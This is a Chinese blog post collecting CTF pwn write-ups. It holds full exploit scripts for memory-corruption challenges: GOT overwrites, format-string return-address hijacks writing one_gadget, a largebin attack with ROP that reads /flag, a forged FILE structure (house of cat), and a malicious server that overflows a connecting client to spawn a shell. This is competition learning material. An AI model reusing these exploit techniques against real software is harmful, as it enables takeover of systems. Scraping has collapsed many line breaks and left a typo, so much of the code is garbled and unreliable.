2024比赛wp合集

news/2024/11/16 5:34:59/文章来源:https://www.cnblogs.com/imarch22/p/18352527

记录一下最近比赛的wp吧

D^3CTF

d3note

没有限制idx范围,越界任意读写,读malloc地址泄露libc,网上写system

from Excalibur2 import*proc('./pwn')
lib('./libc.so.6')
el('./pwn')default('h')def add(idx,size,content):sl(b"276")sl(str(idx))sl(str(size))sl(content)def dele(idx):sl(b"6425")sl(str(idx))def edit(idx,content):sl(b"2064")sl(str(idx))sl(content)def show(idx):sl(b"1300")sl(str(idx))target = 0x4040A0add(0, 0x20, b"/bin/sh\x00")
# debug('b *0x401377\nb *0x401422\nb *0x401221\nb *0x401368\n')
debug('b *0x40141D\nb *0x4013D6\n')
show(-924)
libcbase = get_addr64()-libcsym('malloc')
system = libcbase+libcsym('system')
read = sym('read')
lg("libcbase",libcbase)
lg("system",system)
lg("read",read)# add(-10,str(0x100),b"aaaa")
# add(-10,hex(system),b"aaaa")
# edit(-1440,b"a"*0x5a90)
edit(-1440,p64(0x404000)*0x20)
edit(-1450,p64(system))dele(0)ia()

write_flag_where

写libc的code段,先改一个ret为nop,使得canary报错,然后修改canary报错消息打印的偏移,将打印出的消息和原消息对比得到偏移可比对出flag

from Excalibur2 import *default('h')# proc('./test')
debug('b *$rebase(0x133E)\n')
# debug('b *$rebase(0x1361)\n')
# sl("140737352835740 14")
lib('./libc.so.6')
# libcsym('_fortify_fail')
flag = ""
# sl(str(140737352783190+0x3)+" "+str(10))
# sl("140737352643938 14")#smash
# sl("140737352808591 14")
# ru("*** ")
# print(ru(" ***"))
# flag += ru(" ***").decode()
# print(flag)
flags = {'sy': 'a','ym': 'b','ms': 'c','s.': 'd','.c': 'e','c ': 'f','HA': '0','AN': '1','NG': '2','G ': '3',' *': '4','SE': '5','EC': '6','CS': '7','S ': '8',' *': '9'
}
for i in range(16):proc('./test')sl(str(140737352783190+0x3)+" "+str(i+6))sl("140737352643938 18")#smashsl("140737352808591 14")ru("*** ")flag += flags[rec(2).decode()]print(rec(2))# pause()# syms.c yms.c ms.c s.c .c c HANG ANG NG G# flag += flags[ru(" ***").decode()]print(flag)
#     print(rc())
#     pause()cl()
print("your flag: ","flag{"+flag+"}")# ia()
#
# ia()"""
pwndbg> p (0x7ffff7f5a916-88)  ## a
pwndbg> hex 140737353459902
+0000 0x7ffff7f5a8be  73 79 6d 73 2e 63 00 2b  30 78 00 2d 30 78 00 5b  │syms.c.+│0x.-0x.[│
+0010 0x7ffff7f5a8ce  30 78 00 5d 0a 00 62 75  66 66 65 72 20 6f 76 65  │0x.]..bu│ffer.ove│
+0020 0x7ffff7f5a8de  72 66 6c 6f 77 20 64 65  74 65 63 74 65 64 00 6c  │rflow.de│tected.l│
+0030 0x7ffff7f5a8ee  6f 6e 67 6a 6d 70 20 63  61 75 73 65 73 20 75 6e  │ongjmp.c│auses.un│
pwndbg> p (0x7ffff7f5a916-83)  ## f
$4 = 140737353459907
pwndbg> hex $
+0000 0x7ffff7f5a8c3  63 00 2b 30 78 00 2d 30  78 00 5b 30 78 00 5d 0a  │c.+0x.-0│x.[0x.].│
+0010 0x7ffff7f5a8d3  00 62 75 66 66 65 72 20  6f 76 65 72 66 6c 6f 77  │.buffer.│overflow│
+0020 0x7ffff7f5a8e3  20 64 65 74 65 63 74 65  64 00 6c 6f 6e 67 6a 6d  │.detecte│d.longjm│
+0030 0x7ffff7f5a8f3  70 20 63 61 75 73 65 73  20 75 6e 69 6e 69 74 69  │p.causes│.uniniti│
pwndbg> hex $Quit
pwndbg> p (Quit
pwndbg> hex $Quit
pwndbg> p (0x7ffff7f5a916-83Quit
pwndbg> p(0xb9-0x30)
$5 = 137
pwndbg> p (0x7ffff7f5a916-137)  ## 0
$6 = 140737353459853
pwndbg> hex 140737353459853
+0000 0x7ffff7f5a88d  48 41 4e 47 00 53 45 43  53 00 25 73 28 25 73 29  │HANG.SEC│S.%s(%s)│
+0010 0x7ffff7f5a89d  20 5b 25 70 5d 00 25 73  28 25 73 25 63 25 23 74  │.[%p].%s│(%s%c%#t│
+0020 0x7ffff7f5a8ad  78 29 20 5b 25 70 5d 00  62 61 63 6b 74 72 61 63  │x).[%p].│backtrac│
+0030 0x7ffff7f5a8bd  65 73 79 6d 73 2e 63 00  2b 30 78 00 2d 30 78 00  │esyms.c.│+0x.-0x.│
pwndbg> p(0xb9-0x39)
$7 = 128
pwndbg> p (0x7ffff7f5a916-128)  ## 9
$8 = 140737353459862
pwndbg> hex 140737353459862
+0000 0x7ffff7f5a896  00 25 73 28 25 73 29 20  5b 25 70 5d 00 25 73 28  │.%s(%s).│[%p].%s(│
+0010 0x7ffff7f5a8a6  25 73 25 63 25 23 74 78  29 20 5b 25 70 5d 00 62  │%s%c%#tx│).[%p].b│
+0020 0x7ffff7f5a8b6  61 63 6b 74 72 61 63 65  73 79 6d 73 2e 63 00 2b  │acktrace│syms.c.+│
+0030 0x7ffff7f5a8c6  30 78 00 2d 30 78 00 5b  30 78 00 5d 0a 00 62 75  │0x.-0x.[│0x.]..bu│
"""

DASCTF X GFCTF

control

利用C++的catch机制绕过canary,调试控制rbp为栈上地址,在栈上写rop

from Excalibur2 import *default("h")while True:proc('./pwn')remo('node5.buuoj.cn',29422)gift_str = b"/bin/sh\x00"gift = 0x4d3350payload = p64(0x401c72)+p64(gift)+p64(0x0000000000405285)+p64(0)+p64(0x0000000000462c27)+p64(59)+p64(0x40161e)payload += cyclic(34+78-len(payload))payload += b"\xd8\xe2"sda(">",gift_str)sda("?",payload)sl("cat /flag")try:flag = ru("}")except:print("[-] Failed")cl()continueelse:print(flag)ia()
"""
0x000000000040161e : syscall
0x0000000000495b8a : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000462c27 : pop rax ; ret
0x0000000000401c72 : pop rdi ; ret
"""

DASCTF X HDCTF

签个到吧

一下午卡在没法一次改同一个栈链上,比赛最后四十分钟搜到了个https://zikh26.github.io/posts/a523e26a.html

才发现神奇的$不能在一次printf中对一个地址进行修改+利用,所以需要在一次printf中利用两次相同链的情况需要把前面的\(展开,也就是说用%号来推进偏移,而不是`\)`来推偏移

原因不知道为什么,需要去printf的源码中寻找答案,有博客猜测:任意地址写用 $ 指定写入和按参数顺序写入的操作是先后分开的,先按参数顺序写入指针后,再用 $ 去在刚刚的指针基础上进行修改

这种极限的格式化字符串利用使用条件为

  • 栈上有两条A->B->C的栈链
  • 非栈上的格式化字符串
  • 结尾程序退出使用_exit函数(防止劫持fini_array)

本题来说

  • 第一条链,写printf函数的返回地址,这样能起到每次修改返回地址使程序循环利用fmt的作用
  • 第二条链,写One_gadget,分三次写,一次写两字节,栈链为A->B->(目标存放ogg的栈地址分别+0、+2、+4)
  • 这里将ogg存放在printf函数返回地址的栈地址+8,最后修改printf返回地址为ret,成功返回到ogg处执行getshell

如图所示

写入之后

一些Attention:

  • 本题的特殊之处在于,假设现在有栈指针 A=>B=>C=>D ,我可以用格式化字符通过 B 为跳板修改 CE,那么修改后的链为 A=>B=>E=>F,如果有第二次格式化字符串漏洞的话,我可以找到链 B=>E=>F 通过 E 为跳板,修改原本的 FG。但这个操作无法用一次的格式化字符串漏洞完成,可能因为 B=>E=>F 这条链本身是不存在的,即使用格式化字符串漏洞做出了 B=>E=>F 这条链也无法同时再去改这条链上的指针
  • 在重新读入格式化字符串后,补\x00来截断上一次的格式化字符串
  • 使用send发送0x100的数据,别用sendline,每次发送后接受一下sleep一下,解决很多玄学问题)
  • 劫持printf返回地址的时候,只需修改最后一字节为0x3F即可,但是显然前面的输出一定远大于所需字节,用到一个技巧是:用0x10003F减去前面pay的长度,之后用%hhn来截断最后一个字节

每一部分的pay细节详见exp

exp

 from Excalibur2 import *proc('./pwn')
remo("node5.buuoj.cn:27353")
default('h')
lib("./libc.so.6")
# lib("./libc-2.31.so")
el("./pwn")ru(b'addr: ')
gift = int(ru(b'\n'),16)
target = gift -0x28
lg('gift:',gift)
lg('target:',target)
tar1 = target & 0xffff
tar2 = tar1+0x8
lg('tar1:',tar1)
lg('tar2:',tar2)# 泄露libc地址,改printf返回地址为0x40133F
# 一个%号表示偏移为1,pay1前两行一共7个%号,所以偏移为7,等价于%7$
pay1 = b"%p"*5
print(len(pay1))
pay1 += b"%"+str((tar1-35)).encode()+b"c%hn"
pay1 += b'%'+str(0x10003F-(tar1)-46).encode()+b'c%49$hhn'
pay1 = pay1.ljust(0x100,b'\x00')
debug("b *0x401361\n")
sda(b'message:',pay1)ru(b"0x")
ru(b"0x")
ru(b"0x")
libc = int(ru(b"0x"),16)-18-libcsym("read")
lg("libc",libc)ogg = [0xe3afe,0xe3b01,0xe3b04]
os = libc+ogg[1]os1 = (os)&0xffff
os2 = (os>>16)&0xffff
os3 = (os>>32)&0xffff
read = got("read")# 写第二条栈链为pritnf返回地址+0x8,指向ogg的最后两字节
pay2 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay2 += b"%"+str(tar2-0x3F).encode()+b"c%8$hn"
pay2 = pay2.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay2)# 往pritnf返回地址+0x8处写ogg最后两字节
pay3 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay3 += b"%"+str(os1-0x3F).encode()+b"c%47$hn"
pay3 = pay3.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay3)# 写第二条栈链为pritnf返回地址+0x8+2,指向ogg的中间两字节
pay4 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay4 += b"%"+str(tar2-0x3F+2).encode()+b"c%8$hn"
pay4 = pay4.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay4)# 往pritnf返回地址+0x8处写ogg中间两字节
pay5 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay5 += b"%"+str(os2-0x3F).encode()+b"c%47$hn"
pay5 = pay5.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay5)# 写第二条栈链为pritnf返回地址+0x8+4,指向ogg的前面两字节
pay6 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay6 += b"%"+str(tar2-0x3F+4).encode()+b"c%8$hn"
pay6 = pay6.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay6)# 往pritnf返回地址+0x8处写ogg前面两字节
pay7 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay7 += b"%"+str(os3-0x3F).encode()+b"c%47$hn"
pay7 = pay7.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay7)# printf的返回地址改成0x40101a,即ret的地址,执行one_gadget成功getshell
pay = b"%"+str(0x101a).encode()+b"c%49$hn" 
pay = pay.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay)ia()"""
0xe3afe execve("/bin/sh", r15, r12)
constraints:[r15] == NULL || r15 == NULL[r12] == NULL || r12 == NULL0xe3b01 execve("/bin/sh", r15, rdx)
constraints:[r15] == NULL || r15 == NULL[rdx] == NULL || rdx == NULL0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL[rdx] == NULL || rdx == NULL
"""

DASCTF2024暑期挑战赛

spring_board

非栈上格式化字符串写两次返回地址两次写og

from Excalibur2 import*proc("./pwn")
remo("node5.buuoj.cn:25964")
default("h")# pay1 = "-%p"*10
debug("b *0x40082A\n")
pay1 = b"%3$p-%6$p-"
pay1 = pay1.ljust(0x40,b"\x00")
sda(b"keyword\n",pay1)libc = int(ru(b"-"),16)-0xf7360
lg("libc",libc)stack = int(ru(b"-"),16)
target = stack-0xd8
lg("target",target)ogg = [0x45226,0x4527a,0xf03a4,0xf1247]
os = libc+ogg[0]
lg("os",os)os1 = (os)&0xffff
os2 = (os>>16)&0xffff
lg("os1",os1)
lg("os2",os2)tar = target&0xffff
lg("tar",tar)pay2 = b"%"+str(tar).encode()+b"c%25$hn"
pay2 = pay2.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay2)pay3 = b"%"+str(os1).encode()+b"c%39$hn"
pay3 = pay3.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay3)pay4 = b"%"+str(tar+2).encode()+b"c%25$hn"
pay4 = pay4.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay4)pay5 = b"%"+str(os2).encode()+b"c%39$hn"
pay5 = pay5.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay5)ia()"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:rax == NULL0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:[rsp+0x30] == NULL0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:[rsp+0x50] == NULL0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:[rsp+0x70] == NULL
"""

magic_book

利用入链排序绕过largebin双链表检查,largebin attack写book打出edit的栈溢出,orw读flag即可

from Excalibur2 import*proc("./pwn")
remo("48.218.22.35:9991")
el("./pwn")
lib("./libc.so.6")
default("h")def cmd(c):sla(b"choice:\n", str(c))def add(size):cmd(1)sla(b"need?\n", str(size))def dele(idx,cnt=b"",page=-1):cmd(2)sla(b"delete?\n", str(idx))if page != -1:sla(b"deleted?(y/n)\n", b"y")sla(b"write?\n",str(page))sla(b"content: \n",cnt)else:sla(b"deleted?(y/n)\n", b"n")passdef edit(cnt):cmd(3)sla(b"story!\n", cnt)ru(b"gift: ")
target = int(ru(b"what"),16)
lg("target",target)base = target-0x4010
lg("base",base)# debug("b *$rebase(0x1580)\nb *$rebase(0x13FE)\nb *$rebase(0x14B9)\n")
debug("b *$rebase(0x160C)\n")
add(0x4a8) # p1
add(0x28) # g1
add(0x498) # p2
add(0x28) # g2
dele(0)
add(0x4b8) # g3
dele(2,p64(target+0x40-0x20)*3,0)
add(0x4b8) # g4pop_rdi =  base+0x0000000000001863
ret = base+0x000000000000101a
read_got = got("read")+base
puts_plt = plt("puts")+base
# pay = b"a"*0x20+b"a"*8+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(0x15E1+base)
pay = b"a"*0x20+b"a"*8+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(0x15E1+base)
edit(pay)read_real = get_addr64()libcbase = read_real - libcsym("read")
lg("libcbase",libcbase)syscall = libcbase+0x46C85
pop_rax = libcbase+0x0000000000045eb0
pop_rsi = libcbase+0x000000000002be51 
pop_rbx = libcbase+0x0000000000035dd1
pop_rdx_rbx = libcbase+0x00000000000904a9binsh , system = searchlibc("read",read_real,1)
lg("binsh",binsh)
lg("system",system)
og = [0x50a47,0xebc81,0xebc85,0xebc88]
# os = libcbase + og[3]pay2 = b"a"*0x20+b"a"*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(target+0x100)+p64(pop_rax)+p64(0)+p64(pop_rdx_rbx)+p64(0x8)*2+p64(syscall)
pay2 += p64(pop_rdi)+p64(target+0x100)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)*2+p64(pop_rax)+p64(2)+p64(syscall)
pay2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(target+0x100)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)
pay2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(target+0x100)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p61+p64(syscall)
# pay2 = b"a"*0x20+b"a"*8+p64(ret)+p64(os)
# edit(pay2)
sla(b"story!",pay2)sleep(2)
sl(b"/flag\x00\x00\x00\x00")ia()"""
0x0000000000029db4 : syscall
0x0000000000045eb0 : pop rax ; ret
""""""
0x000000000000185c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000185e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001860 : pop r14 ; pop r15 ; ret
0x0000000000001862 : pop r15 ; ret
0x000000000000185b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000185f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000000012b3 : pop rbp ; ret
0x0000000000001430 : pop rbx ; pop rbp ; ret
0x0000000000001863 : pop rdi ; ret
0x0000000000001861 : pop rsi ; pop r15 ; ret
0x000000000000185d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000101a : ret
0x000000000000161f : ret 0x8b48
0x000000000000174a : ret 0xfffb
""""""
0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:rsp & 0xf == 0rcx == NULLrbp == NULL || (u16)[rbp] == NULL0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:address rbp-0x78 is writable[r10] == NULL || r10 == NULL[[rbp-0x70]] == NULL || [rbp-0x70] == NULL0xebc85 execve("/bin/sh", r10, rdx)
constraints:address rbp-0x78 is writable[r10] == NULL || r10 == NULL[rdx] == NULL || rdx == NULL0xebc88 execve("/bin/sh", rsi, rdx)
constraints:address rbp-0x78 is writable[rsi] == NULL || rsi == NULL[rdx] == NULL || rdx == NULL
"""

R3CTF

Nullullullllu

改stdin结构体中的_IO_buf_base最后一位为\x00,能够在_IO_buf_base-0x20处开始读入0x64字节,伪造stdin结构体,打getchar->_IO_getc->_IO_getc_unlocked->__uflow这条链,用house of cat

  • 改IO_wfile_jumps+0x20
  • fake_io0x8处改成faki_io_addr,_IO_buf_end=1,_IO_save_base=0;绕过检查
  • getchar读取触发
from Excalibur2 import *proc('./pwn')
default("h")
lib("./libc.so.6")def libcbase():sla(">",str(1))ru(b"libc_base = ")libc = int(ru("\n"),16)lg("libcbase",libc)return libcdef null(target):sla(">",str(2))sla("Mem: ",str(target))libc = libcbase()
target = libc+0x203918
lg("target",target)
null(hex(target))base = target-56
lg("base",base)
pay = p64(base)*4+p64(base+0x200)+p64(0)*3
# pay = pay.ljust(0x64,b"\x00")
debug("b *$rebase(0x12C3)\nb *$rebase(0x138D)\n")
sda(">",pay)
sleep(1)system = libc+libcsym("system")# debug(f"b *$rebase(0x12C3)\nb *$rebase(0x138D)\nc\nc\nx/40gx {base}\n")
# debug("b _IO_file_underflow\nc\n")
rdi = 0x68732f6e69622f
lg("libcbase",libc)
lg("target",target)
lg("base",base)
# lg("binsh",rdi)
call_addr = system
lg("system",call_addr)
fake_io_addr=base # 伪造的fake_IO结构体的地址
lg("fake_io_addr",fake_io_addr)
next_chain = 0
fake_IO_FILE=p64(rdi)         #_flags=rdi  system可设置为binsh的地址
fake_IO_FILE+=p64(fake_io_addr)
fake_IO_FILE+=p64(0)*6
# fake_IO_FILE +=p64(0)# _IO_buf_base=0
# FSOP触发时需要设置fp->_IO_write_ptr > fp->_IO_write_base 即 0x28处值要大于0x20处值
fake_IO_FILE +=p64(1)# rcx!=0(FSOP) _IO_buf_end=1 满足fp->_IO_buf_base != f->_IO_buf_end ,也就是wide_data->_IO_read_ptr != _wide_data->_IO_read_end
fake_IO_FILE +=p64(0)# _IO_save_base = 2
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx 满足fp->_IO_save_base < f->_IO_backup_base ,也就是_wide_data->_IO_write_ptr < _wide_data->_IO_write_base
# mov    rdx, qword ptr [rax + 0x20] 其中rax=fake_io_addr+0x30 所以 rdx=fake_io_addr+0x50
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
# call   qword ptr [rax + 0x18] 其中rax=fake_io_addr+0x40 所以 call fake_io_addr+0x58
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(base-0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr 这里rax1可以设置成其他的地方,设置成fake_io_addr+0x30更好布局和节省内存
#  mov    rax, qword ptr [rdi + 0xa0] 其中rdi=fake_io_addr 所以rax=rax1=[fake_io_addr]=fake_io_addr+0x30
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(0) # __malloc_assert触发时 mode=1 
# FSOP触发时,要满足fp->_mode <= 0,FSOP条件之一
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libc+libcsym("_IO_wfile_jumps")+0x20)  # __malloc_assert触发时vtable=IO_wfile_jumps+0x10
# FSOP触发时vtable=IO_wfile_jumps+0x30
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr
# print(len(fake_IO_FILE))
# mov    rax, qword ptr [rax + 0xe0] 其中rax=rax1=fake_io_addr+0x30 所以 rax=rax2=[fake_io_addr+0x110]=fake_io_addr+0x40sd(fake_IO_FILE)ia()

2024JQCTF

pwn_克莱恩特

分析程序发现只需要绕过protobuf的一些检查,就能利用unhex函数的漏洞溢出控制程序执行流

因为目标程序是一个客户端程序,所以我们需要写一个server让client连接我们的server,然后攻击

exp.py

from Excalibur2 import *proc("./pwn")
default("h")debug("b *0x40eee1\n")
# debug("b processResponseContent\n")
# debug("b *0x40ED78\n")
# pay1 = b"1"
pay1 = b"127.0.0.1"
# pay2 = b"2222\x00"+b"a"*0x10
pay2 = b"9999\x00"
sla(b"ip:",pay1)
sla(b"port:",pay2)pause()
sl(b"/bin/sh\x00")ia()

server.py

import socket
import threading
import struct
import odd_pb2 seq = 0x13370001
# 定义处理函数
"""
0x000000000054688a : pop rax ; ret
0x000000000065B435           : syscall; ret
0x00000000004146a4 : pop rdi ; ret
0x00000000004161b3 : pop rsi ; ret
0x00000000006615ab : pop rdx ; pop rbx ; ret
"""
def process_response_content(message):pay = "f"*2064+"xxxxxxxxxxxxxxxx"+"00"*24+"a446410000000000"+"0000000000000000"+"b361410000000000"+"7171760000000000"+"aa15660000000000"+"0800000000000000"*2+"35B4650000000000"pay += "8a68540000000000"+"3b00000000000000"+"a446410000000000"+"7171760000000000"+"b361410000000000"+"0000000000000000""ab15660000000000"+"0000000000000000"*2+"35B4650000000000"# pay += # pay = "0x"+"a"*2064# pay = "0x"+"a"*2# pay = "0x"+"fffffffffffffffffffffffffffffffffffffffff"*2pay = pay.encode()response = odd_pb2.Message()if message.cont == b"hello":response.opcode = odd_pb2.OP_HELLOresponse.cont = b"helloOk"print("send helloOk")elif message.cont == b"sessionBegin":response.opcode = odd_pb2.OP_SESSIONresponse.cont = b"sessionOk"print("send sessionOk")elif message.cont == b"recvHex":response.opcode = odd_pb2.OP_MSGresponse.cont = (pay)print("send hex")elif message.cont == b"sessionEnd":response.opcode = odd_pb2.OP_ENDresponse.cont = b"Ok"print("send Ok")else:response.cont = b"Unknown opcode"response.magic = 875704370response.seq = seqreturn response# 定义客户端处理线程
def handle_client(client_socket):try:while True:content = client_socket.recv(1024)if not content:breakprint("[*] received content: ")print(content)# 解析消息message = odd_pb2.Message()message.ParseFromString(content)print("message: ", message)# 处理内容并生成响应response = process_response_content(message)# 序列化响应response_data = response.SerializeToString()# response_length = struct.pack('!I', len(response_data))# 发送响应print("[*] Sending response")print(response_data)print(response)client_socket.send(response_data)global seqprint(f"seq: {seq}")seq += 2except (ValueError, ConnectionError, MemoryError) as e:print(f"Error: {e}")finally:client_socket.close()# 启动服务器
def start_server(host, port):server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server.bind((host, port))server.listen(5)print(f"[*] Listening on {host}:{port}")while True:client_socket, addr = server.accept()print(f"[*] Accepted connection from {addr}")client_handler = threading.Thread(target=handle_client, args=(client_socket,))client_handler.start()# 设置主机和端口
HOST = '0.0.0.0'
PORT = 9999# 启动服务器
start_server(HOST, PORT)

odd_pb2用protobuf编译即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/780942.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

比较运算符和逻辑运算符

//比较运算符:        // >// <// ==// >=// <=// !=//逻辑运算符 与&& 或|| 非! static void Main(string[] args){while (true){Console.WriteLine("请输入年份:");int year = Convert.ToInt32(Console.ReadLine());if (year % 400 =…

计算机的发展史和基本结构

关于CSP-J初赛的学习笔记2.计算机的发展史和基本结构 2.1. 计算机发展史阶段 年代 电子元件 运算速度(每秒/次)第一代 \(1946-1958\) 真空电子管 数千至数万第二代 \(1958-1964\) 晶体管 几十万至几百万第三代 \(1964-1970\) 中小规模集成电路 百万至几百万第四代 \(1970-202…

008.Vue3入门,最基础的事件处理,点击按钮增加次数,支持传参

1、代码如下:<template><h3>内联事件处理群</h3><button @click="addCount1">Add</button><p>{{ count1 }}</p><button @click="addCount2(hello)">按钮</button><p>{{ count2 }}</p>…

008.Vue3入门,最基础的事件处理,点击按钮增加次数显示

1、代码如下:<template><h3>内联事件处理群</h3><button @click="addCount">Add</button><p>{{ count }}</p> </template><script> export default {data() {return {count: 0}},methods: {addCount() {//读…

熵编码(五)-CABAC(一) 基础篇

目录1. 前言2. 二进制算术编码3. CABAC编码原理分析3.1. 自适应算术编码3.1.1. 算法流程流程3.1.2. 自适应3.1.3. 码流输出(区间缩放)3.1.4 自适应算术编码的计算复杂度及优化3.1.4.1 自适应概率模型背景3.1.4.2. 自适应概率模型设计3.1.4.2.1. 自适应概率模型量化3.1.4.2.1. 自…

06.磁盘管理课后习题

06.磁盘管理课后习题 1.如何查看/etc/目录大小2.如何查看磁盘使用分区情况3.如何查看innode使用情况4.如何查看磁盘block使用情况1. 使用“lsblk”命令查看块设备信息,包括磁盘分区情况和磁盘使用情况。 2. 使用“df”命令查看文件系统的磁盘空间使用情况。 3. 使用“du”命令…

30句七夕诗词,温柔如水,最适合今天发朋友圈

“天阶夜色凉如水,坐看牵牛织女星。”又是一年七夕到。相传每年七月初七,天气温暖,草木飘香,繁星闪烁,牛郎织女会于天上的鹊桥相会,浪漫又神秘。不管是农耕时代还是现在,对于中国人来说,爱情哲学总是简单而纯粹。在相依相守中,共同酿造生活的美酒,共同筑造美好的未来…

ATT格式和Intel格式

历年真题中,采用的均是Intel格式

初探MIPS PWN

MIPS PWN调试环境配置&工具安装(Ubuntu 22.04) 安装 qemu qemu 是一个支持跨平台虚拟化的虚拟机,有 user mode 和 system mode 两种配置方式。其中qemu 在system mode配置下模拟出整个计算机,可以在qemu之上运行一个操作系统。qemu 的system mode与常见的VMware和Virtua…

Postman小工具大妙用

postman 大家都会用,但是很多人只是把它当作一个简单的http客户端。大部分时候,这就够了,因为http调用就是它的最核心的功能。 那么,这样一个“小”工具,究竟还有什么值得再说两句呢?目录写在前面基本概念UI基本结构collectionsvariables变量优先级environmentsScriptsCo…

portainer控制多个docker

打开docker的远程访问(参考下方博客) 觉得不安全可以配置 使用 TLS 加密 https://www.cnblogs.com/hongdada/p/11512901.html使用新版本portainer和我这个操作相同